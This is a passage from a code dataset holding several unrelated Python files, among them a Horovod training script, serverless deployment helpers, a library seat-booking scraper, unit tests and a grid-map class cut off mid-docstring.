preprocessing_function=tf.keras.applications.resnet50.preprocess_input)\n\ntest_datagen = ImageDataGenerator(preprocessing_function=tf.keras.applications.resnet50.preprocess_input)\n\ntrain_generator = train_datagen.flow(train_x, train_y, batch_size=_BATCH_SIZE)\nvalidation_generator = test_datagen.flow(val_x, val_y, batch_size=_BATCH_SIZE)\ntest_generator = test_datagen.flow(test_x, test_y, batch_size=_BATCH_SIZE)\n\n#model = VGG16(include_top=True, weights=None, input_tensor=None, input_shape=(32,32,3), pooling=None, classes=1000)\nmodel = ResNet50(weights=None, input_shape=(64,64,3))\n\nopt = tf.keras.optimizers.SGD(lr = _LR * hvd.size(), momentum = 0.9)\nopt = hvd.DistributedOptimizer(opt, compression=hvd.Compression.fp16)\n \nmodel.compile(optimizer = opt, loss = 'categorical_crossentropy', metrics = ['accuracy'])\n\ncallbacks = [\n # Horovod: broadcast initial variable states from rank 0 to all other processes.\n hvd.callbacks.BroadcastGlobalVariablesCallback(0),\n \n # Horovod: average metrics among workers at the end of every epoch.\n #\n # Note: This callback must be in the list before the ReduceLROnPlateau,\n # TensorBoard, or other metrics-based callbacks.\n# hvd.callbacks.MetricAverageCallback(),\n \n # Horovod: set up warmup epochs before adjust the learning rate\n hvd.callbacks.LearningRateWarmupCallback(warmup_epochs=10, verbose=1),\n \n # Reduce the learning rate if training plateaues.\n tf.keras.callbacks.ReduceLROnPlateau(patience=10, verbose = 1)\n \n # Early stopping\n# tf.keras.callbacks.EarlyStopping(monitor = 'val_loss', min_delta = 0, patience = 10, verbose = 1, mode = 'auto', baseline = None),\n \n # Horovod: after the warmup reduce learning rate by 10 on the 30th, 60th and 80th epochs.\n# hvd.callbacks.LearningRateScheduleCallback(start_epoch=10, end_epoch=30, multiplier=1.),\n# hvd.callbacks.LearningRateScheduleCallback(start_epoch=30, end_epoch=60, multiplier=1e-1),\n# hvd.callbacks.LearningRateScheduleCallback(start_epoch=60, end_epoch=80, multiplier=1e-2),\n# hvd.callbacks.LearningRateScheduleCallback(start_epoch=80, multiplier=1e-3),\n ]\n\n# Horovod: save checkpoints only on the first worker to prevent other workers from corrupting them.\nif hvd.rank() == 0:\n callbacks.append(tf.keras.callbacks.TensorBoard(log_dir='./horovod_logs', histogram_freq=0, write_graph=True, write_grads=False, write_images=False))\n\nmodel.fit_generator(\n train_generator,\n steps_per_epoch = train_batches // hvd.size(),\n epochs =_EPOCH,\n callbacks = callbacks,\n workers = 8,\n validation_data = validation_generator,\n validation_steps = 3 * val_batches // hvd.size())\n\nprint('\\n')\nscore = hvd.allreduce(model.evaluate_generator(test_generator, workers = 8))\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])","sub_path":"horovod-based.py","file_name":"horovod-based.py","file_ext":"py","file_size_in_byte":5771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"227820998","text":" \nimport string\nimport yaml\nimport os\nimport sys\nfrom shutil import copyfile,copytree,rmtree\nfrom string import Template\nfrom pathlib import Path\nfrom ruamel.yaml import YAML\nimport re\nimport datetime\nfrom pprint import pp, pprint\nimport json\nimport jsonref\nimport copy\nfrom generatorLambdaUtils.nginxUtils import createNginxConfig\nfrom generatorLambdaUtils.cliUtils import getParser\n\ndef npmInstall(folder_path):\n os.system(f\"cd {folder_path} ; npm i \")\n os.system(\"cd ..\")\n os.system(\"cd ..\")\n\ndef slsDeploy(folder_path):\n os.system(f\"cd {folder_path} ; sls deploy \")\n os.system(\"cd ..\")\n os.system(\"cd ..\")\n\n\n\ndef prepareServelessYaml(file_path,folder_name,env): \n # date = datetime.datetime.now()\n # dateTime = date.strftime(\"%Y%m%d%M\")\n template_env_file_path = file_path\n with open(template_env_file_path) as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n data[\"provider\"][\"apiName\"] = folder_name + \" api gateway\" \n data[\"provider\"][\"deploymentBucket\"] = folder_name + \"-leumi\"\n data[\"provider\"][\"tags\"][\"env\"] = \"dev\"\n data[\"provider\"][\"tags\"][\"system\"] = \"Open Banking Aws\"\n data[\"provider\"][\"tags\"][\"applications\"] = \"Open Banking Aws\"\n # for key in data[\"functions\"] :\n # eventList = []\n # for event in data[\"functions\"][key][\"events\"]:\n # eventList.append(data[\"functions\"][key][\"events\"])\n # data[\"functions\"][key][\"events\"] = eventList\n data[\"service\"] = folder_name \n data[\"provider\"][\"profile\"] = \"ob-\" + env\n with open(file_path, 'w') as yaml_file:\n yaml.dump(data, yaml_file)\n yaml_file.close()\n\n\n\ndef changePathParameters(file_path):\n paths = []\n with open(file_path,'r') as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n for function in data['functions']:\n data['functions'][function][\"events\"][0][\"http\"][\"path\"]\n print(data['functions'][function][\"events\"][0][\"http\"][\"path\"])\n path = data['functions'][function][\"events\"][0][\"http\"][\"path\"] \n paths.append(path)\n # if \"-\" in path :\n # key_pathArry = path.split(\"-\")\n # for i in range(len(key_pathArry))[1::2] :\n # # print(key_pathArry[i])\n # key = key_pathArry[i]\n # key_pathArry[i]= key\n # newPath = \"\".join(key_pathArry)\n # paths.append(newPath)\n \n # data['functions'][function][\"events\"][0][\"http\"][\"path\"] = newPath\n # # print(file_path)\n # addAllPaths(paths,file_path,data)\n # with open(file_path,'w') as file : \n # yaml.dump(data,file)\n return addAllPaths(paths,file_path,data)\n\n\ndef addAllPaths(paths,serverless_path,serveless_data) :\n openApi_path = serverless_path.replace(\"serverless.yml\",\"openApi.yaml\")\n pprint(openApi_path)\n with open(openApi_path, 'r') as yaml_in :\n with open(serverless_path.replace(\"serverless.yml\",\"openApi.json\"), \"w\") as json_out:\n yamldata = yaml.load(yaml_in, Loader=yaml.FullLoader)\n json.dump(yamldata, json_out,indent=4)\n with open(serverless_path.replace(\"serverless.yml\",\"openApi.json\"),\"r\") as jsonf : \n data = jsonref.load(jsonf)\n with open(serverless_path.replace(\"serverless.yml\",\"fullOpenApi.json\"), \"w\") as json_out:\n json.dump(data,json_out,indent=4)\n # with open(serverless_path.replace(\"serverless.yml\",\"openApi.json\"),\"r\") as jsonf2 : \n # json.dump(serverless_path.replace(\"serverless.yml\",\"fullOpenApi.json\"),jsonref.load(data),indent=4)\n # jsonf.close()\n\n\n return defGetallPaths(paths,data,serverless_path)\n\ndef defGetallPaths(paths,data,serverless_path) : \n # print(paths)\n pathsobj = {}\n parser = getParser()\n args = parser.parse_args()\n folder_path = serverless_path.replace(\"/\" + \"serverless.yml\",\"\" )\n for key_path in data[\"paths\"] : \n \n if key_path in paths : \n newObj = {}\n print(key_path)\n path_data = data[\"paths\"][key_path]\n pathKeys = path_data.keys()\n for methodKey in pathKeys :\n newObj[methodKey] = {}\n newObj[methodKey][\"paths\"] = [key_path]\n for parametar in data[\"paths\"][key_path][methodKey][\"parameters\"] : \n if(parametar[\"in\"] == \"path\" and parametar[\"required\"] == True ) :\n schema = parametar[\"schema\"]\n if(\"enum\" in schema.keys()) :\n enums = schema[\"enum\"]\n newPaths = []\n for enum in enums : \n for newPath in newObj[methodKey][\"paths\"] : \n if len(args.rt) != 0 :\n print (args.rt)\n for rt in args.rt :\n if newPath.replace(\"{\"+ parametar[\"name\"] + \"}\", enum).find(\"/\" + rt + \"/\") != -1 :\n newPaths.append(newPath.replace(\"{\"+ parametar[\"name\"] + \"}\", enum))\n print(newPath.replace(\"{\"+ parametar[\"name\"] + \"}\", enum))\n break\n else : \n newPaths.append(newPath.replace(\"{\"+ parametar[\"name\"] + \"}\", enum))\n for p in newPaths :\n createNginxConfig(p,folder_path)\n newObj[methodKey][\"paths\"] = newPaths\n pathsobj[key_path] = newObj\n return pathsobj\n \ndef createFullServelrssYmal(filepath,paths,folder_path):\n \n with open(filepath) as f :\n data = yaml.load(f, Loader=yaml.FullLoader)\n newData = data\n pathsKeys= list(paths.keys())\n for function in data[\"functions\"] :\n # pprint(data[\"functions\"][function])\n newEvents = []\n for event in data[\"functions\"][function][\"events\"] : \n for httpEvent in event : \n if event[httpEvent][\"path\"] in list(paths.keys()) : \n newPathsData = paths[event[httpEvent][\"path\"]]\n try : \n for methodKey in list(newPathsData.keys()) :\n for newNewPath in paths[event[httpEvent][\"path\"]][methodKey][\"paths\"] :\n newHttpEvent = copy.deepcopy(event[httpEvent])\n newHttpEvent[\"method\"] = methodKey \n newHttpEvent[\"path\"] = newNewPath\n # pprint (newHttpEvent) \n temp = {}\n temp[\"http\"] = newHttpEvent \n data[\"functions\"][function][\"events\"].append(temp)\n print(temp)\n \n\n except : \n pass\n del data[\"functions\"][function][\"events\"][0]\n # newEvents.append(eventss)\n \n # pprint\n with open(filepath, 'w') as f :\n yaml.dump(newData,f)\n\n\n\n","sub_path":"front/generatorLambda/generatorLambdaUtils/deployUtils.py","file_name":"deployUtils.py","file_ext":"py","file_size_in_byte":7364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225611425","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\ndf = pd.read_csv('../Data/E0.csv')\n\nhome_goals = df['FTHG']\naway_goals = df['FTAG']\n\nmaxgoals = np.amax([home_goals,away_goals])\nscores = np.zeros((maxgoals+1,maxgoals+1))\n\nfor i in range(0,len(df)):\n hg = df['FTHG'].iloc[i]\n ag = df['FTAG'].iloc[i]\n scores[hg][ag] = scores[hg][ag]+1 \n\n \n\nsns.heatmap(data=scores)\n\n\n\n","sub_path":"Football/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"55650187","text":"# Copyright 2019 D-Wave Systems Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# ================================================================================================\nimport unittest\nimport itertools\n\nimport networkx as nx\nimport penaltymodel.core as pm\nimport dimod\n\nimport penaltymodel.maxgap as maxgap\n\nfrom penaltymodel.core import ImpossiblePenaltyModel\n\n\nclass TestInterface(unittest.TestCase):\n \"\"\"We assume that the generation code works correctly.\n Test that the interface gives a penalty model corresponding to the specification\"\"\"\n def test_typical(self):\n graph = nx.complete_graph(3)\n spec = pm.Specification(graph, [0, 1], {(-1, -1): 0, (+1, +1): 0}, dimod.SPIN)\n\n widget = maxgap.get_penalty_model(spec)\n\n # some quick test to see that the penalty model propogated in\n for v in graph:\n self.assertIn(v, widget.model.linear)\n for (u, v) in graph.edges:\n self.assertIn(u, widget.model.adj[v])\n\n def test_binary_specification(self):\n graph = nx.Graph()\n for i in range(4):\n for j in range(4, 8):\n graph.add_edge(i, j)\n\n decision_variables = (0, 1)\n feasible_configurations = ((0, 0), (1, 1)) # equality\n\n spec = pm.Specification(graph, decision_variables, feasible_configurations, vartype=dimod.BINARY)\n widget = maxgap.get_penalty_model(spec)\n\n self.assertIs(widget.model.vartype, dimod.BINARY)\n\n # test the correctness of the widget\n energies = {}\n for decision_config in itertools.product((0, 1), repeat=2):\n energies[decision_config] = float('inf')\n\n for aux_config in itertools.product((0, 1), repeat=6):\n sample = dict(enumerate(decision_config + aux_config))\n energy = widget.model.energy(sample)\n\n energies[decision_config] = min(energies[decision_config], energy)\n\n for decision_config, energy in energies.items():\n if decision_config in feasible_configurations:\n self.assertAlmostEqual(energy, widget.ground_energy)\n else:\n self.assertGreaterEqual(energy, widget.ground_energy + widget.classical_gap - 10**-6)\n\n","sub_path":"penaltymodel_maxgap/tests/test_interface.py","file_name":"test_interface.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"208821283","text":"#coding:utf-8\n\nimport requests\nimport urlparse\nfrom bs4 import BeautifulSoup\nfrom regex import regex as rgx\nimport urllib\nclass lib(object):\n def __init__(self,indexurl='http://202.119.210.15/'):\n # self.user={'user':'',\n # 'pwd':''}\n self.indexurl=indexurl\n self.makeurls()\n def makeurls(self):\n index=self.indexurl\n #取出hostname\n host= urlparse.urlparse(index).hostname\n if host==None:\n pass\n #阅览室url\n getroom = '/FunctionPages/SeatBespeak/BespeakSeat.aspx'\n self.getroom=urlparse.urljoin(index,getroom)\n seatinf='/FunctionPages/SeatBespeak/SeatLayoutHandle.ashx'\n self.seatinf=urlparse.urljoin(index,seatinf)\n setseat = '/FunctionPages/SeatBespeak/BespeakSubmitWindow.aspx'\n self.setseat=urlparse.urljoin(index,setseat)\n #初始请求头\n headers = {\n 'Host': host,\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',\n 'Accept-Encoding': 'gzip, deflate',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Connection': 'keep-alive'\n }\n self.headers=headers\n #session\n def login(self,user='',pwd=''):\n self.ss=requests.session()\n self.ss.headers=self.headers\n login1 = self.ss.get(self.indexurl)\n if login1.status_code==200:\n login1text = login1.text\n else:\n pass\n login1text=''\n sp = BeautifulSoup(login1text)\n #获取viewstate 和 eventvalidation，因为每个学校的这两个都不一样\n viewstate = sp.find('input', attrs={'name': \"__VIEWSTATE\"}).attrs['value']\n eventvalidation = sp.find('input', attrs={'name': \"__EVENTVALIDATION\"}).attrs['value']\n #构造postdata\n postdata={}\n postdata['__VIEWSTATE']=viewstate\n postdata['__EVENTVALIDATION']=eventvalidation\n postdata['txtUserName']=user\n postdata['txtPassword']=pwd\n postdata['cmdOK.x']='0'\n postdata['cmdOK.y'] = '0'\n login2 = self.ss.post(self.indexurl, data=postdata,allow_redirects=False)\n if login2.status_code==302:\n return True\n else:\n return False\n def getroomid(self):\n headers = {\n 'Referer': urlparse.urljoin(self.indexurl, '/Florms/FormSYS.aspx')\n }\n roomResponse = self.ss.get(self.getroom, headers=headers)\n roomText = roomResponse.text\n libs, rooms = rgx().BespeakSeat(roomText)\n return rooms\n def getseat(self,roomid,date):\n #date=2016/10/22\n datestr = date + \" 0:00:00\"\n postdata = {\n \"roomNum\": roomid,\n \"date\": datestr,\n \"divTransparentTop\": \"0\",\n \"divTransparentLeft\": \"0\"\n }\n seat=self.ss.post(self.seatinf, data=postdata)\n if seat.status_code==200:\n seatdata=rgx().SeatLayoutHandle(seat.text)\n elif seat.status_code==500:\n print('get seat Server Error %s_%s'%(roomid,date))\n seatdata= None\n else:\n print('Unknown getseat Server Error %s_%s' % (roomid, date))\n seatdata=None\n return seatdata\n def trysetseat(self,roomName,seatNum,seatOnclick,datestr):\n def getparam(setseaturl,seatonclick):\n headers = {\n 'Referer': 'http://202.119.210.15/FunctionPages/SeatBespeak/BespeakSeatLayout.aspx'\n }\n url = setseaturl + '?parameters=%s' % seatonclick\n html = self.ss.get(url, headers=headers).text\n dic = rgx().BespeakSubmitWindow(html)\n return url,dic\n\n import base64, re\n seturl,param=getparam(self.setseat,seatOnclick)\n dic2 = {\n 'X_CHANGED': 'false',\n 'X_TARGET': 'ContentPanel1_btnBespeak',\n 'Form2_Collapsed': 'false',\n 'ContentPanel1_Collapsed': 'false',\n 'X_STATE': '',\n 'X_AJAX': 'true'\n }\n #不清楚服务器是否对字典顺序有要求，故而干脆用最笨的方法\n strdic='''{\\\"Form2_ctl00_lblRoomName\\\":{\\\"Text\\\":\\\"%s\\\"},\\\"Form2_ctl01_lblSeatNo\\\":{\\\"Text\\\":\\\"%s\\\"},\\\"Form2_ctl02_lblbeginDate\\\":{\\\"Text\\\":\\\"%s\\\"},\\\"Form2_ctl03_lblEndDate\\\":{\\\"Text\\\":\\\"7:30至8:30\\\"}}'''% (roomName,seatNum,datestr)\n strdic= strdic.replace(\"'\", '\"')\n encodedstr = base64.b64encode(strdic)\n dic2['X_STATE'] = encodedstr\n postdata=dict(param,**dic2)\n postdata[\"__EVENTTARGET\"]='ContentPanel1$btnBespeak'\n header = {\n 'Referer': seturl\n }\n response = self.ss.post(seturl, data=postdata, headers=header)\n result = re.search('alert\\((.+?)\\)',response.text)\n if result:\n return result.group(1)\n else:\n return '服务器错误'\n","sub_path":"lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301291424","text":"from typing import Any, Dict, List, Union\n\n\n_T = Any # should be 'JSONTypes' but mypy doesn't support recursive types yet\n\nJSONTypes = Union[Dict[str, _T], List[_T], str, float, bool, None]\n\nJSONObject = Dict[str, JSONTypes]\n\nJSONList = List[JSONTypes]\n\nResponseTypes = Union[bytes, JSONTypes]\n","sub_path":"popget/extratypes.py","file_name":"extratypes.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"39512451","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/1/17 14:21\n# @Author : qkwu\n# @File : Set.py\n\n# Set用于保存不重复元素\n# 实现方式与dict类似，可以认为set是只有key的dict\n\ns = set()\ns1 = {1, 2, 3}\ns.add('nice')\ns.remove('nice')","sub_path":"Part1Basics/BasicsDataStructure/Set.py","file_name":"Set.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"98019182","text":"#coding=utf-8\nimport os\n#从/home/python目录下找到包含有hello的py文件是那些\nlist_filepy=[]\ndef read_file(parent_dir,file_name):\n abs_file_dir=os.path.join(parent_dir,file_name)\n if os.path.isdir(abs_file_dir):\n for file in os.listdir(abs_file_dir):\n read_file(abs_file_dir,file)\n else:\n if abs_file_dir.endswith(\".py\"):\n if read_find_hello(abs_file_dir):\n list_filepy.append(abs_file_dir)\n\ndef read_find_hello(file_name):\n f=open(file_name,'r', encoding='UTF-8')\n flag=False\n while True:\n if \"hello\" in f.readline():\n flag=True\n break\n elif f.readline()==\"\":\n break\n f.close()\n return flag\n\n\n\nif __name__==\"__main__\":\n read_file(r\"C:\\Users\\Administrator\\PycharmProjects\",\"E6300\")\n print(list_filepy)","sub_path":"E6300/std_file.py","file_name":"std_file.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"222171593","text":"#!/usr/bin/env python\n# vim: set fileencoding=utf-8 :\n\n# Copyright (c) 2015 Florian Brucker (mail@florianbrucker.de).\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\"\"\"\nTests for ``coba.storage``.\n\"\"\"\n\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\nfrom future.builtins import *\nfrom future.builtins.disabled import *\n\nimport io\nimport os\nimport os.path\nimport shutil\nimport tempfile\nimport time\n\nfrom nose.tools import eq_ as eq, ok_ as ok, raises\n\nfrom coba import Revision\nfrom coba.crypto import CryptoProvider, is_encrypted\nfrom coba.storage import *\nfrom coba.utils import sha1\n\nfrom .test_coba_crypto import GOT_GPGME, GPG_KEY_DIR, needs_gpgme\nfrom .utils import parameterized\n\n\ndef _fake_revision(store, path):\n return Revision(store, path, time.time(), 1, 2, 3, 4, 5, 6, 7, 8)\n\n\nrecipients = [(None,)]\nif GOT_GPGME:\n recipients.append(('test@coba',))\n\n\nclass TestRevisionStore(object):\n \"\"\"\n Tests for ``coba.storage.Store``.\n \"\"\"\n def setup(self):\n self.path = tempfile.mkdtemp()\n self.driver = local_storage_driver(self.path)\n\n def make_store(self, recipient=None):\n crypto_provider = CryptoProvider(recipient, GPG_KEY_DIR)\n return Store(self.driver, 'container', crypto_provider)\n\n def teardown(self):\n shutil.rmtree(self.path, ignore_errors=True)\n\n @parameterized(recipients)\n def test_set_get_append_revisions(self, recipient):\n \"\"\"\n Setting, getting and appending revisions.\n \"\"\"\n store = self.make_store(recipient)\n p = '/foo/bar'\n eq(store.get_revisions(p), [])\n rev1 = _fake_revision(store, p)\n rev2 = _fake_revision(store, p)\n store.set_revisions(p, [rev1, rev2])\n revs = store.get_revisions(p)\n eq(revs, [rev1, rev2])\n rev3 = store.append_revision(p, time.time(), 1, 2, 3, 4, 5, 6, 7, 8)\n revs = store.get_revisions(p)\n eq(revs, [rev1, rev2, rev3])\n\n @parameterized(recipients)\n def test_put_get_content(self, recipient):\n \"\"\"\n Storing and retrieving content.\n \"\"\"\n store = self.make_store(recipient)\n content = b'foobar'\n hash = store.put_content(io.BytesIO(content))\n eq(hash, sha1(content))\n eq(store.get_content(hash).read(), content)\n\n @parameterized(recipients)\n @raises(KeyError)\n def test_get_content_keyerror(self, recipient):\n \"\"\"\n Getting non-existing content raises ``KeyError``.\n \"\"\"\n self.make_store(recipient).get_content('does not exist')\n\n @parameterized(recipients)\n def test_paths_are_hashed(self, recipient):\n \"\"\"\n Paths are hashed.\n \"\"\"\n store = self.make_store(recipient)\n p = '/foo/bar'\n rev = store.append_revision(p, time.time(), 1, 2, 3, 4, 5, 6, 7, 8)\n for root, filenames, dirnames in os.walk(self.path):\n for name in filenames + dirnames:\n n = name.lower()\n ok('foo' not in n)\n ok('bar' not in n)\n\n @needs_gpgme\n def test_files_are_encrypted(self):\n \"\"\"\n Files in the store are encrypted.\n \"\"\"\n store = self.make_store('test@coba')\n p = '/foo/bar'\n rev = store.append_revision(p, time.time(), 1, 2, 3, 4, 5, 6, 7, 8)\n store.put_content(io.BytesIO(b'foobar'))\n for d in [Store._META_PREFIX, Store._BLOB_PREFIX, Store._SALT_PREFIX]:\n for root, filenames, _ in os.walk(os.path.join(self.path, d)):\n for filename in filenames:\n with open(os.path.join(root, filename), 'rb') as f:\n ok(is_encrypted(f))\n\n @raises(ValueError)\n def test_invalid_store(self):\n \"\"\"\n An invalid store raises ``ValueError``.\n \"\"\"\n self.driver.create_container('invalid')\n Store(self.driver, 'invalid', None)\n\n @needs_gpgme\n def test_mixing_encrypted_and_non_encrypted_content(self):\n \"\"\"\n Mixing encrypted and non-encrypted content.\n \"\"\"\n p = '/foo/bar'\n store = self.make_store()\n rev1 = store.append_revision(p, time.time(), 1, 2, 3, 4, 5, 6, 7, 8)\n store = self.make_store('test@coba')\n eq(store.get_revisions(p), [rev1])\n rev2 = store.append_revision(p, time.time(), 1, 2, 3, 4, 5, 6, 7, 8)\n store = self.make_store()\n eq(store.get_revisions(p), [rev1, rev2])\n rev3 = store.append_revision(p, time.time(), 1, 2, 3, 4, 5, 6, 7, 8)\n store = self.make_store('test@coba')\n eq(store.get_revisions(p), [rev1, rev2, rev3])\n\n @raises(ValueError)\n def test_unsupported_format_version(self):\n \"\"\"\n Loading a store with an unsupported format version.\n \"\"\"\n old_format_version = Store._FORMAT_VERSION\n Store._FORMAT_VERSION += 1\n try:\n self.make_store()\n finally:\n Store._FORMAT_VERSION = old_format_version\n self.make_store()\n\n def test_format_version(self):\n \"\"\"\n Format version property.\n \"\"\"\n eq(self.make_store().format_version, 1)\n\n","sub_path":"test/test_coba_storage.py","file_name":"test_coba_storage.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593161929","text":"\n\nfrom xai.brain.wordbase.nouns._mode import _MODE\n\n#calss header\nclass _MODES(_MODE, ):\n\tdef __init__(self,): \n\t\t_MODE.__init__(self)\n\t\tself.name = \"MODES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"mode\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_modes.py","file_name":"_modes.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"639762572","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nfrom __future__ import print_function # use python 3 syntax but make it compatible with python 2\nfrom __future__ import division # ''\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport numpy as np\nimport time\nimport os\nimport math\n\nclass Map2D:\n def __init__(self, map_description_file):\n \"\"\"\n Load and initialize map from file. \\\n\n map_description_file: path to a text file containing map description in the standard format. \\\n Example for a 3x3 grid map, with (squared) cells of 400mm side length called mapa0. \\\n All free space, i.e., all connections between cells are open, except those on the limits of the map.\n For more details on the format, see class documentation.\n\n mapa0.txt content:\n 3 3 400\n 0 0 0 0 0 0 0\n 0 1 1 1 1 1 0\n 0 1 1 1 1 1 0\n 0 1 1 1 1 1 0\n 0 1 1 1 1 1 0\n 0 1 1 1 1 1 0\n 0 0 0 0 0 0 0\n\n \"\"\"\n # params to visualize\n self.mapLineStyle='r-'\n self.costValueStyle='g*'\n self.verbose = True\n # set to False to stop displaying plots interactively (and maybe just save the screenshots)\n # self.verbose = False\n self.current_ax = None\n\n # variables about map params\n self.sizeX=0\n self.sizeY=0\n self.sizeCell=0\n\n self.connectionMatrix = None\n self.costMatrix = None\n self.currentPath = None\n\n #self.endx\n #self.endy\n\n if self._loadMap(map_description_file):\n print(\"Map %s loaded ok\" % map_description_file)\n else:\n print(\"Map %s NOT loaded\" % map_description_file)\n\n\n # from python docs: https://docs.python.org/3/tutorial/classes.html#private-variables\n # “Private” instance variables that cannot be accessed except from inside an object don’t exist in Python.\n # However, there is a convention that is followed by most Python code: a name prefixed with an underscore \\\n # (e.g. _spam) should be treated as a non-public part of the API (whether it is a function, a method or a data member).\n\n # ############################################################\n # private methods\n # ############################################################\n def _initConnections(self, init_value=0):\n \"\"\"\n to initialize the matrix, we set all connections to be closed.\n When the file with the description is loaded, it will \"open\" (set to 1) the corresponding ones.\n \"\"\"\n self.connectionMatrix = np.ones( (2*self.sizeX+1, 2*self.sizeY+1) ) * init_value\n\n def _initCostMatrix(self, init_value=-2):\n \"\"\"\n to initialize the matrix, we set all connections to be closed.\n When the file with the description is loaded, it will \"open\" (set to 1) the corresponding ones.\n \"\"\"\n self.costMatrix = np.ones( (self.sizeX, self.sizeY) ) * init_value\n\n # Example costMatrix (filled manually!) for Map1\n # if we plan to go from 0,0 to 2,0\n # self.costMatrix[2,0] = 0\n # self.costMatrix[1,0] = 1\n # self.costMatrix[1,1] = 2\n # self.costMatrix[1,2] = 3\n # self.costMatrix[0,2] = 4\n # self.costMatrix[2,2] = 4\n # self.costMatrix[0,1] = 5\n # self.costMatrix[2,1] = 5\n # self.costMatrix[0,0] = 6\n\n\n\n def _loadMap(self, mapFileName):\n \"\"\"\n Load map from a txt file (mapFileName) to fill the map params and connectionMatrix. \\\n NOTES: \\\n \\t connectionMatrix is a numpy array \\\n \\t Function will return False if something went wrong loading the map file.\n \"\"\"\n try:\n # FILL GLOBAL VARIABLES dimX dimY cellSize\n loadingOk=False\n mapF = open(mapFileName, \"r\")\n\n # 1. special case for first line. initialize dimX dimY cellSize\n header = mapF.readline() #next()\n tmp = header.split() # any whitespace string is a separator and empty strings are removed from the result\n if self.verbose:\n print(\"Header line: %s \" % header)\n parsed_header = [int(c) for c in tmp]\n # expected to have three numbers: sizeX sizeY sizeCell_in_mm\n if len(parsed_header)==3:\n self.sizeX, self.sizeY, self.sizeCell = parsed_header\n else:\n print(\"Wrong header in map file: %s\" % header)\n return False\n\n # 2.init connectionMatrix and costMatrix\n self._initConnections()\n self._initCostMatrix()\n\n # 3. load rest of the map connection lines information\n for indx, line in enumerate(mapF):\n # we start loading from the file the \"top\" row of the map\n current_row = (self.connectionMatrix.shape[1]-1) - indx\n # Split numbers in the line. Any whitespace string is a separator and empty strings are removed from the result\n tmp = line.split()\n if self.verbose:\n print(\"Line for map row %d: %s \" % (current_row, line))\n parsed_line = [int(c) for c in tmp]\n\n if len(parsed_line) == self.connectionMatrix.shape[0] and indx < self.connectionMatrix.shape[1]:\n self.connectionMatrix[:, current_row] = parsed_line\n elif len(parsed_line): # don't give errors because of empty lines\n print(\"Wrong connectionMatrix (%s) row data: %s\" % (self.connectionMatrix.shape(), line) )\n return False\n mapF.close()\n loadingOk = True\n except Exception as e:\n print(\"ERROR:\", e.__doc__)\n print(e)\n #raise\n loadingOk = False\n\n return loadingOk\n\n def _cell2connCoord(self, cellX, cellY, numNeigh):\n \"\"\"\n Input:\n cellX, cellY: cell coordinates (cellX, cellY) in the map grid\n numNeigh: index of one of the cell 